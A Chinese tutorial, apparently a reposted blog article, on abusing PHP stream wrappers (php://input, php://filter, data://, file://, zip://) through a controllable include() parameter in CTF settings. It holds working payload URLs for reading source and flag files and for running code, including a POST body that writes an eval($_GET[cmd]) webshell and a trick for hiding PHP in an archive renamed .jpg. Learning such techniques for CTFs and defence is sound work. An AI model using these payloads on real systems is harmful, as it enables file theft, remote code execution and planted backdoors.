今天小编给大家分享一下怎么使用php伪协议实现命令执行的相关知识点，内容详细，逻辑清晰，相信大部分人都还太了解这方面的知识，所以分享这篇文章给大家参考一下，希望大家阅读完这篇文章后有所收获，下面我们一起来了解一下吧。
1.file://协议
条件：
allow_url_fopen : off/onallow_url_include: off/on作用：
用于访问本地文件系统，在ctf中通常用来读取本地文件
在include() / require() / include_once() / require_once() 参数可控的情况下，即使导入非.php文件，如shell.txt ，依然按照php语法进行解析，这是include()函数所决定的
说明:
file:// 文件系统是php使用的默认封装协议，用于展示本地文件系统。
用法：
/path/to/file.extrelative/path/to/file.extfileInCwd.extC:/path/to/winfile.extC:\path\to\winfile.ext\\smbserver\share\path\to\winfile.extfile:///path/to/file.ext示例：
1.file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt2.file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt3.http://网络位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt2.php://协议
条件：
allow_url_open : off/onallow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on作用：
php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input
php://filter 用于读取源码php://input 用于执行php代码说明：
php提供了一些杂项输入/输出(IO)流，允许访问 PHP 的输入输出流，标准输入输出流和错误描述符：
php://filter使用：
php://filter/read=convert.base64-encode/resource=[文件名]php://input的使用：
http://127.0.0.1/include.php?file=php://input [POST DATA部分]<?php phpinfo(); ?>写入一句话
http://127.0.0.1/include.php?file=php://input[POST DATA部分]<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>3.data://协议
作用：
php>=5.2.0 , 可以使用data://数据流封装器，以传递相应格式的数据。通常用来执行php代码
用法：
data://text/plain, ???如：
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>4.zip:// & bzip:// & zlib:// 协议
作用：
zip:// & bzip:// & zlib:// 均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可以修改为任意后缀名，如 jpg，png，gif，xxx等
示例：
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)
压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt2.compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2 并上传（同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz23.compress.zlib://file.gz
压缩phpinfo.txt 为phpinfo.gz 并上传（支持任意后缀名）
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz总结
在ctf中常用的有data:// , php://input , php://filter ，file://
php://input ，data://用来执行命令1.php://input 的用法http://127.0.0.1/include.php?file=php://input[POST DATA部分]<?php phpinfo(); ?>2.data://用法http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>php://filter，file://用来读取文件3.php://filter用法http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php（读取php文件需要先加密以下才能读出来）http://127.0.0.1/include.php?file=php://filter/resource=/flag4.file://用法http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt以上就是“怎么使用php伪协议实现命令执行”这篇文章的所有内容，感谢各位的阅读！相信大家阅读完这篇文章都有很大的收获，小编每天都会为大家更新不同的知识，如果还想学习更多的知识，请关注编程网行业资讯频道。
